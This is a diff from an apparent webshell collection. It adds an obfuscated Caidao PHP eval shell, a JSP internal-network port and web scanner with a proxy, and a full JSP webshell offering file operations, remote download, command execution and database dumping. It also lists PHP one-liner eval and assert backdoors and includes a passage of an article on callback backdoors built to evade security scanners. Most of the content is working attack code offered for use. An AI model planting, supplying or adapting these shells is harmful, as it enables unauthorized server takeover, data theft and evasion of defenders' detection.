-<?php 
-unset($hlhy,$hl_uid); 
-$hl_uid='wl168168'; 
-$hlhy=array(); 
-?>
--- a/caidao-shell/z-2016-01-05.php
+++ b/caidao-shell/z-2016-01-05.php
@@ -0,0 +1,23 @@
+<?php
+function cve($str,$key)
+{
+$t="";
+for($i=0; $i<strlen($str); $i=$i+2)
+{
+  $k=(($i+2)/2)%strlen($key);
+  $p=substr($key, $k,1);
+  if(is_numeric(substr($str, $i,1)))
+  {
+    $t=$t.chr(hexdec(substr($str, $i,2))-$p);
+  }
+  else
+  {
+    $t=$t.chr(hexdec(substr($str, $i,4)));
+    $i=$i+2;
+  }
+}
+return($t);
+}
+
+(@$_=cve('6A767C687B77','39')).@$_(cve('6776666E286763736A38346466656871646A2A2464524F58565B2C7C302C5F292E','520'));
+?>
--- a/jsp/dy.jsp
+++ b/jsp/dy.jsp
--- a/jsp/ha.jsp
+++ b/jsp/ha.jsp
--- a/jsp/netspy/netspy.jsp
+++ b/jsp/netspy/netspy.jsp
@@ -0,0 +1,563 @@
+<%@page import="org.apache.commons.io.FileUtils"%>
+<%@page import="java.io.File"%>
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%@ page isThreadSafe="false"%>
+<%@page import="java.net.*"%>
+<%@page import="java.io.PrintWriter"%>
+<%@page import="java.io.BufferedReader"%>
+<%@page import="java.io.FileReader"%>
+<%@page import="java.io.FileWriter"%>
+<%@page import="java.io.OutputStreamWriter"%>
+<%@page import="java.util.regex.Matcher"%>
+<%@page import="java.io.IOException"%>
+<%@page import="java.net.InetAddress"%>
+<%@page import="java.util.regex.Pattern"%>
+<%@page import="java.net.HttpURLConnection"%>
+<%@page import="java.util.concurrent.LinkedBlockingQueue"%>
+
+
+<%!final static List<String> list = new ArrayList<String>();
+	String referer = "";
+	String cookie = "";
+	String decode = "utf-8";
+	int thread = 100;
+	//final static List<String> scanportlist = new ArrayList<String>();
+	String cpath="";
+
+	//建立一个HTTP连接
+	HttpURLConnection getHTTPConn(String urlString) {
+		try {
+			java.net.URL url = new java.net.URL(urlString);
+			java.net.HttpURLConnection conn = (java.net.HttpURLConnection) url
+					.openConnection();
+			conn.setRequestMethod("GET");
+			conn.addRequestProperty("User-Agent",
+					"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon;)");
+			conn.addRequestProperty("Accept-Encoding", "gzip");
+			conn.addRequestProperty("referer", referer);
+			conn.addRequestProperty("cookie", cookie);
+			//conn.setInstanceFollowRedirects(false);
+			conn.setConnectTimeout(3000);
+			conn.setReadTimeout(3000);
+
+			return conn;
+		} catch (Exception e) {
+			return null;
+		}
+	}
+
+	String PostData(String urlString, String postString) {
+		HttpURLConnection http = null;
+		String response = null;
+		try {
+			java.net.URL url = new java.net.URL(urlString);
+			http = (HttpURLConnection) url.openConnection();
+			http.setDoInput(true);
+			http.setDoOutput(true);
+			http.setUseCaches(false);
+			http.setConnectTimeout(50000);
+			http.setReadTimeout(50000);
+			http.setRequestMethod("POST");
+			http.setRequestProperty("Content-Type",
+					"application/x-www-form-urlencoded");
+			http.connect();
+			OutputStreamWriter osw = new OutputStreamWriter(
+					http.getOutputStream(), decode);
+			osw.write(postString);
+			osw.flush();
+			osw.close();
+			response = getHtmlByInputStream(http.getInputStream(), decode);
+		} catch (Exception e) {
+			response = getHtmlByInputStream(http.getErrorStream(), decode);
+		}
+		return response;
+	}
+
+	HttpURLConnection conn;
+
+	//从输入流中读取源码
+	String getHtmlByInputStream(java.io.InputStream is, String code) {
+		StringBuffer html = new StringBuffer();
+		try {
+
+			java.io.InputStreamReader isr = new java.io.InputStreamReader(is,
+					code);
+			java.io.BufferedReader br = new java.io.BufferedReader(isr);
+			String temp;
+			while ((temp = br.readLine()) != null) {
+				if (!temp.trim().equals("")) {
+					html.append(temp).append("\n");
+				}
+			}
+			br.close();
+			isr.close();
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+
+		return html.toString();
+	}
+
+	//获取HTML源码
+	String getHtmlContext(HttpURLConnection conn, String decode,boolean isError) {
+		Map<String, Object> result = new HashMap<String, Object>();
+		String code = "utf-8";
+		if (decode != null) {
+			code = decode;
+		}
+		try {
+			return getHtmlByInputStream(conn.getInputStream(), code);
+		} catch (Exception e) {
+			try {
+			if(isError){
+			   return getHtmlByInputStream(conn.getErrorStream(), code);
+			}
+			} catch (Exception e1) {
+				System.out.println("getHtmlContext2:" + e.getMessage());
+			}
+			System.out.println("getHtmlContext:" + e.getMessage());
+			return "null";
+		}
+	}
+
+	//获取Server头
+	String getServerType(HttpURLConnection conn) {
+		try {
+			return conn.getHeaderField("Server");
+		} catch (Exception e) {
+			return "null";
+		}
+
+	}
+
+	//匹配标题
+	String getTitle(String htmlSource) {
+		try {
+			List<String> list = new ArrayList<String>();
+			String title = "";
+			Pattern pa = Pattern.compile("<title>.*?</title>");
+			Matcher ma = pa.matcher(htmlSource);
+			while (ma.find()) {
+				list.add(ma.group());
+			}
+			for (int i = 0; i < list.size(); i++) {
+				title = title + list.get(i);
+			}
+			return title.replaceAll("<.*?>", "");
+		} catch (Exception e) {
+			return null;
+		}
+	}
+
+	//得到css
+	List<String> getCss(String html, String url, String decode) {
+		List<String> cssurl = new ArrayList<String>();
+		List<String> csscode = new ArrayList<String>();
+		try {
+
+			String title = "";
+			Pattern pa = Pattern.compile(".*href=\"(.*)[.]css");
+			Matcher ma = pa.matcher(html.toLowerCase());
+			while (ma.find()) {
+				cssurl.add(ma.group(1) + ".css");
+			}
+
+			for (int i = 0; i < cssurl.size(); i++) {
+				String cssuuu = url + "/" + cssurl.get(i);
+				String csshtml = "<style>"
+						+ getHtmlContext(getHTTPConn(cssuuu), decode,false)
+						+ "</style>";
+				csscode.add(csshtml);
+
+			}
+		} catch (Exception e) {
+			System.out.println("getCss:" + e.getMessage());
+		}
+		return csscode;
+
+	}
+
+	//域名解析成IP
+	String getMyIPLocal() throws IOException {
+		InetAddress ia = InetAddress.getLocalHost();
+		return ia.getHostAddress();
+	}
+	
+	
+	
+	boolean getHostPort(String task){
+		Socket client = null;
+		boolean isOpen=false;
+		try{
+		     String[] s=task.split(":");
+	    	 client = new Socket(s[0], Integer.parseInt(s[1]));
+	  		 isOpen=true;
+	  		 System.out.println("getHostPort:"+task);
+	  		 //scanportlist.add(task+" >>> Open");
+	  		 saveScanReslt2(task+" >>> Open\r\n");
+		}catch(Exception e){
+			 isOpen=false;
+		}
+	    return isOpen;
+	}
+	
+	void getPath(String path){
+	cpath=path;
+	}
+	
+/* 	void saveScanReslt(String s){
+	try{
+	FileUtils.writeStringToFile(new File(cpath+"/port.txt"), s,"UTF-8",true);
+	}catch(Exception e){
+	System.out.print(e.getLocalizedMessage());
+	}
+	} */
+	
+	 void saveScanReslt2(String content) {   
+        FileWriter writer = null;  
+        try {     
+            writer = new FileWriter(cpath+"/port.txt", true);     
+            writer.write(content);       
+        } catch (IOException e) {     
+           System.out.print(e.getLocalizedMessage());   
+        } finally {     
+            try {     
+                if(writer != null){  
+                    writer.close();     
+                }  
+            } catch (IOException e) {     
+              System.out.print(e.getLocalizedMessage());   
+            }     
+        }   
+    }
+	
+	
+	
+	String s="Result:<br/>";
+	String readPortResult(String portfile){
+	    File file = new File(portfile);
+        BufferedReader reader = null;
+        try {
+            System.out.println("");
+            reader = new BufferedReader(new FileReader(file));
+            String tempString = null;
+            while ((tempString = reader.readLine()) != null) {
+              s+=tempString+"<br/>";
+            }
+            reader.close();
+        } catch (IOException e) {
+             return null;
+        } finally {
+            if (reader != null) {
+                try {
+                    reader.close();
+                } catch (IOException e1) {
+                return null;
+                }
+            }
+        }
+        return s;
+	}
+	
+	
+	%>
+
+
+<html>
+
+<head>
+<title>内网简单扫描脚本</title>
+</head>
+<body>
+	<script>
+		function showDiv(obj) {
+			//var statu = document.getElementById("prequest").style.display;
+			if (obj == "proxy") {
+				document.getElementById("proxy").style.display = "block";
+				document.getElementById("web").style.display = "none";
+				document.getElementById("port").style.display = "none";
+
+			} else if (obj == "web") {
+				document.getElementById("proxy").style.display = "none";
+				document.getElementById("web").style.display = "block";
+				document.getElementById("port").style.display = "none";
+
+			} else if (obj == "port") {
+				document.getElementById("proxy").style.display = "none";
+				document.getElementById("web").style.display = "none";
+				document.getElementById("port").style.display = "block";
+
+			}
+		}
+	</script>
+	<p>
+		<a href="javascript:void(0);" onclick="showDiv('proxy');"
+			style="margin-left: 32px;">代理访问</a> <a href="javascript:void(0);"
+			onclick="showDiv('web');" style="margin-left: 32px;">Web扫描</a> <a
+			href="javascript:void(0);" onclick="showDiv('port');"
+			style="margin-left: 32px;">端口扫描</a>
+	</p>
+
+	<div id="proxy"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%;display:block;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				Url：<input name="url" value="http://127.0.0.1:8080"
+					style="width: 380px;" />
+			</p>
+			<p>
+				Method:<select name="method">
+					<option value="GET">GET</option>
+					<option value="POST">POST</option>
+				</select> Decode:<select name="decode">
+					<option value="utf-8">utf-8</option>
+					<option value="gbk">gbk</option>
+				</select>
+			</p>
+			<p>
+				<textarea name="post" cols=40 rows=4>username=admin&password=admin</textarea>
+				<textarea name="post" cols=40 rows=4>SESSION:d89de9c2b4e2395ee786f1185df21f2c51438059222</textarea>
+
+			</p>
+			<p>
+				Referer:<input name="referer" value="http://www.baidu.com"
+					style="width: 380px;" />
+			</p>
+			<p></p>
+
+			<p>
+				<input type="submit" value="Request" />
+			</p>
+		</form>
+	</div>
+
+	<div id="web"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				IP:<input name="ip" value="127.0.0.1">
+			</p>
+			<p>
+				Port:<input name="port" value="80,8080,8081,8088">
+			</p>
+			<input type="submit" value="Scan">
+		</form>
+	</div>
+
+	<div id="port"
+		style="border:1px solid #999;padding:3px;margin-left:30px;width: 95%;height: 32%; display:none;">
+		<form action="" method="POST" style="margin-left: 50px;">
+			<p>
+				IP:<input name="scanip" value="192.168.12.1">-<input
+					name="scanip2" value="192.168.12.10">
+			</p>
+			<p>
+				Port:<input name="scanport"
+					value="21,80,135,443,1433,1521,3306,3389,8080,27017"
+					style="width: 300px;">
+			</p>
+			<p>
+				Thread:<input name="thread" value="100" style="width: 30px;">
+			</p>
+			<input type="submit" value="Scan">
+		</form>
+	</div>
+
+	<br />
+</body>
+</html>
+<%
+	final JspWriter pwx = out;
+	String s = application.getRealPath("/") + "/port.txt";
+	String result = readPortResult(s);
+	if (result != null) {
+		try {
+			pwx.println(result);
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+	}else{
+       pwx.println("如果你进行了端口扫描操作，那么这里将会显示扫描结果！<br/>");
+	}
+	String div1 = "<div style=\"border:1px solid #999;padding:3px;margin-left:30px;width:95%;height:90%;\">";
+	String div2 = "</div>";
+
+	String u = request.getParameter("url");
+	String ip = request.getParameter("ip");
+	String scanip = request.getParameter("scanip");
+
+	if (u != null) {
+
+		String post = request.getParameter("post");
+		System.out.print(u);
+		System.out.print(post);
+		decode = request.getParameter("decode");
+		String ref = request.getParameter("referer");
+		String cook = request.getParameter("cookie");
+
+		if (ref != null) {
+			referer = ref;
+		}
+		if (cook != null) {
+			cookie = cook;
+		}
+
+		String html = null;
+
+		if (post != null) {
+			html = PostData(u, post);
+		} else {
+			html = getHtmlContext(getHTTPConn(u), decode, true);
+		}
+
+		String reaplce = "href=\"http://127.0.0.1:8080/Jwebinfo/out.jsp?url=";
+		//html=html.replaceAll("href=['|\"]?http://(.*)['|\"]?", reaplce+"http://$1\"");
+		html = html.replaceAll("href=['|\"]?(?!http)(.*)['|\"]?",
+				reaplce + u + "$1");
+		List<String> css = getCss(html, u, decode);
+		String csshtml = "";
+		if (!html.equals("null")) {
+			for (int i = 0; i < css.size(); i++) {
+				csshtml += css.get(i);
+			}
+			out.print(div1 + html + csshtml + div2);
+		} else {
+			response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+			out.print("请求失败！");
+		}
+		return;
+	}
+
+	else if (ip != null) {
+		String threadpp = (request.getParameter("thread"));
+		String[] port = request.getParameter("port").split(",");
+
+		if (threadpp != null) {
+			thread = Integer.parseInt(threadpp);
+			System.out.println(threadpp);
+		}
+		try {
+			try {
+				String http = "http://";
+				String localIP = getMyIPLocal();
+				if (ip != null) {
+					localIP = ip;
+				}
+				String useIP = localIP.substring(0,
+						localIP.lastIndexOf(".") + 1);
+				final Queue<String> queue = new LinkedBlockingQueue<String>();
+				for (int i = 1; i <= 256; i++) {
+					for (int j = 0; j < port.length; j++) {
+						String url = http + useIP + i + ":" + port[j];
+						queue.offer(url);
+						System.out.print(url);
+					}
+
+				}
+				final JspWriter pw = out;
+				ThreadGroup tg = new ThreadGroup("c");
+				for (int i = 0; i < thread; i++) {
+					new Thread(tg, new Runnable() {
+						public void run() {
+							while (true) {
+								String addr = queue.poll();
+								if (addr != null) {
+									System.out.println(addr);
+									HttpURLConnection conn = getHTTPConn(addr);
+									String html = getHtmlContext(conn,
+											decode, false);
+									String title = getTitle(html);
+									String serverType = getServerType(conn);
+									String status = !html
+											.equals("null") ? "Success"
+											: "Fail";
+									if (html != null
+											&& !status.equals("Fail")) {
+										try {
+											pw.println(addr + "  >>  "
+													+ title + ">>"
+													+ serverType
+													+ " >>" + status
+													+ "<br/>");
+										} catch (Exception e) {
+											e.printStackTrace();
+										}
+									}
+								} else {
+									return;
+								}
+							}
+						}
+					}).start();
+				}
+				while (tg.activeCount() != 0) {
+				}
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		} catch (Exception e) {
+			out.println(e.toString());
+		}
+	} else if (scanip != null) {
+		getPath(application.getRealPath("/"));
+		int thread = Integer.parseInt(request.getParameter("thread"));
+		String[] port = request.getParameter("scanport").split(",");
+		String ip1 = scanip;
+		String ip2 = request.getParameter("scanip2");
+
+		int start = Integer.parseInt(ip1.substring(
+				ip1.lastIndexOf(".") + 1, ip1.length()));
+		int end = Integer.parseInt(ip2.substring(
+				ip2.lastIndexOf(".") + 1, ip2.length()));
+
+		String useIp = scanip.substring(0, scanip.lastIndexOf(".") + 1);
+
+		System.out.println("start:" + start);
+		System.out.println("end:" + end);
+
+		final Queue<String> queue = new LinkedBlockingQueue<String>();
+		for (int i = start; i <= end; i++) {
+			for (int j = 0; j < port.length; j++) {
+				String scantarget = useIp + i + ":" + port[j];
+				queue.offer(scantarget);
+				//System.out.println(scantarget);
+			}
+
+		}
+		System.out.print("Count1:" + queue.size());
+		final JspWriter pw = out;
+		ThreadGroup tg = new ThreadGroup("c");
+		for (int i = 0; i < thread; i++) {
+			new Thread(tg, new Runnable() {
+				public void run() {
+					while (true) {
+						String scantask = queue.poll();
+						if (scantask != null) {
+							getHostPort(scantask);
+							/* String result = null;
+							if(isOpen){
+							result=scantask+ " >>> Open<br/>";
+							scanportlist.add(result);
+							System.out.println(result);
+							} */
+
+							/* try {
+							pw.println(result);
+							} catch (Exception e) {
+							System.out.print(e.getMessage());
+							} */
+						}
+					}
+				}
+			}).start();
+
+		}
+		/* while (tg.activeCount() != 0) {
+		} */
+		try {
+			pw.println("扫描线程已经开始，请查看" + cpath+"/port.txt文件或者直接刷新本页面！");
+		} catch (Exception e) {
+			System.out.print(e.getMessage());
+		}
+	}
+%>
--- a/jsp/netspy/readme.md
+++ b/jsp/netspy/readme.md
@@ -0,0 +1,14 @@
+之前是使用的参数模式，现在搞了一个简单的UI。 
+
+前言： 
+某些情况下，内网渗透时，代理出不来，工具传上去被杀，总之就是遇到各种问题。而最过纠结的时，我已经知道内网哪台机器有洞了..（经验多的大神飘过，如果能解决某些内网渗透时遇到的坑的问题，求分享解决方法..） 
+
+功能： 
+代理访问虽然是个简单的功能，但是我觉得够用了。完全可以用来直接扫描内网其他web服务器的目录，尝试内网其其他登陆入口的弱口令，或者直接代理打struts或者其他漏洞。 
+
+web扫描： 
+其实我觉得用web发现更加贴切，其实有了端口扫描为啥还要这个.(因为之前的代码不想动它了。) 
+
+
+端口扫描： 
+大家都懂。（此功能问题较多，我觉得如果能使用工具或者代理回来就尽量不使用此脚本进行扫描。）
--- a/jsp/shell1.jsp
+++ b/jsp/shell1.jsp
--- a/jsp/t00ls1.jsp
+++ b/jsp/t00ls1.jsp
--- a/jsp/x.jsp
+++ b/jsp/x.jsp
--- a/jsp/yijuhua.jsp
+++ b/jsp/yijuhua.jsp
@@ -0,0 +1,288 @@
+<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
+<%!
+	String Pwd = "a";
+	String cs = "UTF-8";
+	String EC(String s) throws Exception {
+		return new String(s.getBytes("ISO-8859-1"),cs);
+	}
+	Connection GC(String s) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Class.forName(x[0].trim());
+		if(x[1].indexOf("jdbc:oracle")!=-1){
+			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+		}else{
+			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+			if (x.length > 4) {
+				c.setCatalog(x[4]);
+			}
+			return c;
+		}
+	}
+	void AA(StringBuffer sb) throws Exception {
+		File r[] = File.listRoots();
+		for (int i = 0; i < r.length; i++) {
+			sb.append(r[i].toString().substring(0, 2));
+		}
+	}
+	void BB(String s, StringBuffer sb) throws Exception {
+		File oF = new File(s), l[] = oF.listFiles();
+		String sT, sQ, sF = "";
+		java.util.Date dt;
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		for (int i = 0; i < l.length; i++) {
+			dt = new java.util.Date(l[i].lastModified());
+			sT = fm.format(dt);
+			sQ = l[i].canRead() ? "R" : "";
+			sQ += l[i].canWrite() ? " W" : "";
+			if (l[i].isDirectory()) {
+				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
+			} else {
+				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
+			}
+		}
+		sb.append(sF);
+	}
+	void EE(String s) throws Exception {
+		File f = new File(s);
+		if (f.isDirectory()) {
+			File x[] = f.listFiles();
+			for (int k = 0; k < x.length; k++) {
+				if (!x[k].delete()) {
+					EE(x[k].getPath());
+				}
+			}
+		}
+		f.delete();
+	}
+	void FF(String s, HttpServletResponse r) throws Exception {
+		int n;
+		byte[] b = new byte[512];
+		r.reset();
+		ServletOutputStream os = r.getOutputStream();
+		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
+		os.write(("->" + "|").getBytes(), 0, 3);
+		while ((n = is.read(b, 0, 512)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.write(("|" + "<-").getBytes(), 0, 3);
+		os.close();
+		is.close();
+	}
+	void GG(String s, String d) throws Exception {
+		String h = "0123456789ABCDEF";
+		File f = new File(s);
+		f.createNewFile();
+		FileOutputStream os = new FileOutputStream(f);
+		for (int i = 0; i < d.length(); i += 2) {
+			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
+		}
+		os.close();
+	}
+	void HH(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		if (sf.isDirectory()) {
+			if (!df.exists()) {
+				df.mkdir();
+			}
+			File z[] = sf.listFiles();
+			for (int j = 0; j < z.length; j++) {
+				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
+			}
+		} else {
+			FileInputStream is = new FileInputStream(sf);
+			FileOutputStream os = new FileOutputStream(df);
+			int n;
+			byte[] b = new byte[512];
+			while ((n = is.read(b, 0, 512)) != -1) {
+				os.write(b, 0, n);
+			}
+			is.close();
+			os.close();
+		}
+	}
+	void II(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		sf.renameTo(df);
+	}
+	void JJ(String s) throws Exception {
+		File f = new File(s);
+		f.mkdir();
+	}
+	void KK(String s, String t) throws Exception {
+		File f = new File(s);
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		java.util.Date dt = fm.parse(t);
+		f.setLastModified(dt.getTime());
+	}
+	void LL(String s, String d) throws Exception {
+		URL u = new URL(s);
+		int n = 0;
+		FileOutputStream os = new FileOutputStream(d);
+		HttpURLConnection h = (HttpURLConnection) u.openConnection();
+		InputStream is = h.getInputStream();
+		byte[] b = new byte[512];
+		while ((n = is.read(b)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.close();
+		is.close();
+		h.disconnect();
+	}
+	void MM(InputStream is, StringBuffer sb) throws Exception {
+		String l;
+		BufferedReader br = new BufferedReader(new InputStreamReader(is));
+		while ((l = br.readLine()) != null) {
+			sb.append(l + "\r\n");
+		}
+	}
+	void NN(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
+		while (r.next()) {
+			sb.append(r.getString(1) + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void OO(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		String[] x = s.trim().split("\r\n");
+		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
+		while (r.next()) {
+			sb.append(r.getString("TABLE_NAME") + "\t");
+		}
+		r.close();
+		c.close();
+	}
+	void PP(String s, StringBuffer sb) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1007);
+		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
+		ResultSetMetaData d = r.getMetaData();
+		for (int i = 1; i <= d.getColumnCount(); i++) {
+			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
+		}
+		r.close();
+		m.close();
+		c.close();
+	}
+	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1008);
+		BufferedWriter bw = null;
+		try {
+			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
+			ResultSetMetaData d = r.getMetaData();
+			int n = d.getColumnCount();
+			for (int i = 1; i <= n; i++) {
+				sb.append(d.getColumnName(i) + "\t|\t");
+			}
+			sb.append("\r\n");
+			if(q.indexOf("--f:")!=-1){
+				File file = new File(p);
+				if(q.indexOf("-to:")==-1){
+					file.mkdir();
+				}
+				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
+			}
+			while (r.next()) {
+				for (int i = 1; i <= n; i++) {
+					if(q.indexOf("--f:")!=-1){
+						bw.write(r.getObject(i)+""+"\t");
+						bw.flush();
+					}else{
+						sb.append(r.getObject(i)+"" + "\t|\t");
+					}
+				}
+				if(bw!=null){bw.newLine();}
+				sb.append("\r\n");
+			}
+			r.close();
+			if(bw!=null){bw.close();}
+		} catch (Exception e) {
+			sb.append("Result\t|\t\r\n");
+			try {
+				m.executeUpdate(q);
+				sb.append("Execute Successfully!\t|\t\r\n");
+			} catch (Exception ee) {
+				sb.append(ee.toString() + "\t|\t\r\n");
+			}
+		}
+		m.close();
+		c.close();
+	}
+%>
+<%
+	cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
+	response.setContentType("text/html");
+	response.setCharacterEncoding(cs);
+	StringBuffer sb = new StringBuffer("");
+	try {
+		String Z = EC(request.getParameter(Pwd) + "");
+		String z1 = EC(request.getParameter("z1") + "");
+		String z2 = EC(request.getParameter("z2") + "");
+		sb.append("->" + "|");
+		String s = request.getSession().getServletContext().getRealPath("/");
+		if (Z.equals("A")) {
+			sb.append(s + "\t");
+			if (!s.substring(0, 1).equals("/")) {
+				AA(sb);
+			}
+		} else if (Z.equals("B")) {
+			BB(z1, sb);
+		} else if (Z.equals("C")) {
+			String l = "";
+			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+			while ((l = br.readLine()) != null) {
+				sb.append(l + "\r\n");
+			}
+			br.close();
+		} else if (Z.equals("D")) {
+			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+			bw.write(z2);
+			bw.close();
+			sb.append("1");
+		} else if (Z.equals("E")) {
+			EE(z1);
+			sb.append("1");
+		} else if (Z.equals("F")) {
+			FF(z1, response);
+		} else if (Z.equals("G")) {
+			GG(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("H")) {
+			HH(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("I")) {
+			II(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("J")) {
+			JJ(z1);
+			sb.append("1");
+		} else if (Z.equals("K")) {
+			KK(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("L")) {
+			LL(z1, z2);
+			sb.append("1");
+		} else if (Z.equals("M")) {
+			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
+			Process p = Runtime.getRuntime().exec(c);
+			MM(p.getInputStream(), sb);
+			MM(p.getErrorStream(), sb);
+		} else if (Z.equals("N")) {
+			NN(z1, sb);
+		} else if (Z.equals("O")) {
+			OO(z1, sb);
+		} else if (Z.equals("P")) {
+			PP(z1, sb);
+		} else if (Z.equals("Q")) {
+			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
+		}
+	} catch (Exception e) {
+		sb.append("ERROR" + ":// " + e.toString());
+	}
+	sb.append("|" + "<-");
+	out.print(sb.toString());
+%>
--- a/6
+++ b/6
@@ -12,3 +12,9 @@ url : https://github.com/all3g/fuzzdb/tree/master/web-backdoors

 add web-shell
 url : https://github.com/BlackArch/webshells
+
+add webshellSample
+https://github.com/tanjiti/webshellSample
+
+add Ridter'Pentest backdoor tools
+https://github.com/Ridter/Pentest/tree/master/backdoor
--- a/php/php一句话
+++ b/php/php一句话
@@ -1,13 +1,15 @@
-[+]php一句话
+### php一句话

-1) <?php eval($_POST[sb]);?>
-2) <?php @eval($_POST[sb]);?>
-3) <?php assert($_POST[sb]);?>
-4) <?$_POST['sa']($_POST['sb']);?>
-5) <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
-6) <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
+* <?php eval($_POST[sb]);?>
+* <?php @eval($_POST[sb]);?>
+* <?php assert($_POST[sb]);?>
+* <?$_POST['sa']($_POST['sb']);?>
+* <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
+* <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
 　 //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
 　 <O>h=@eval($_POST[c]);</O>
-7) <script language="php">@eval($_POST[sb])</script>
-8) $filename=$_GET['xbid'];
-   include ($filename);
+* <script language="php">@eval($_POST[sb])</script>
+* $filename=$_GET['xbid'];
+   include ($filename);
+* <?php $c='ass'.'ert';${c}($_POST[4]);?>
+* <?php $k = str_replace("8","","a8s88s8e8r88t");$k($_POST["8"]); ?>
--- a/php/tips.md
+++ b/php/tips.md
@@ -0,0 +1,286 @@
+创造tips的秘籍——PHP回调后门
+phith0n · 2015/07/20 10:58
+0x00 前言
+
+最近很多人分享一些过狗过盾的一句话，但无非是用各种方法去构造一些动态函数，比如'''$_GET['func']($_REQUEST['pass'])'''之类的方法。万变不离其宗，但这种方法，虽然狗盾可能看不出来，但人肉眼其实很容易发现这类后门的。
+
+那么，我就分享一下，一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。
+
+有很多朋友喜欢收藏一些tips，包括我也收藏了好多tips，有时候在渗透和漏洞挖掘过程中很有用处。
+
+一句话的tips相信很多朋友也收集过好多，过狗一句话之类的。14年11月好像在微博上也火过一个一句话，当时也记印象笔记里了：
+
+
+最近又看到有人在发这个：http://www.secoff.net/archives/436.html
+
+有同学收集tips，就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数（无特征）的一句话（后门）？
+
+根据上面这个pdo的一句话，我就可以得到一个很具有普适性的结论：php中包含回调函数参数的函数，具有做后门的潜质。
+
+我就自己给这类webshell起了个名字：回调后门。
+
+0x01 回调后门的老祖宗
+
+php中call_user_func是执行回调函数的标准方法，这也是一个比较老的后门了：
+
+    call_user_func('assert', $_REQUEST['pass']);
+
+assert直接作为回调函数，然后$_REQUEST['pass']作为assert的参数调用。
+
+这个后门，狗和盾都可以查到（但是狗不会拦截）：
+
+
+可php的函数库是很丰富的，只要简单改下函数安全狗就不杀了：
+
+
+    call_user_func_array('assert', array($_REQUEST['pass']));
+
+'''call_user_func_array'''函数，和'''call_user_func'''类似，只是第二个参数可以传入参数列表组成的数组。如图：
+
+
+可见，虽然狗不杀了，D盾还是聪明地识别了出来。
+
+看来，这种传统的回调后门，已经被一些安全厂商盯上了，存在被查杀的风险。
+
+0x02 数组操作造成的单参数回调后门
+
+进一步思考，在平时的php开发中，遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调（callable类型）参数的函数，其实都有做“回调后门”的潜力。 我最早想到个最“简单好用的”：
+
+    $e = $_REQUEST['e'];
+    $arr = array($_POST['pass'],);
+    array_filter($arr, base64_decode($e));
+
+'''array_filter'''函数是将数组中所有元素遍历并用指定函数处理过滤用的，如此调用（此后的测试环境都是开着狗的，可见都可以执行）：
+
+
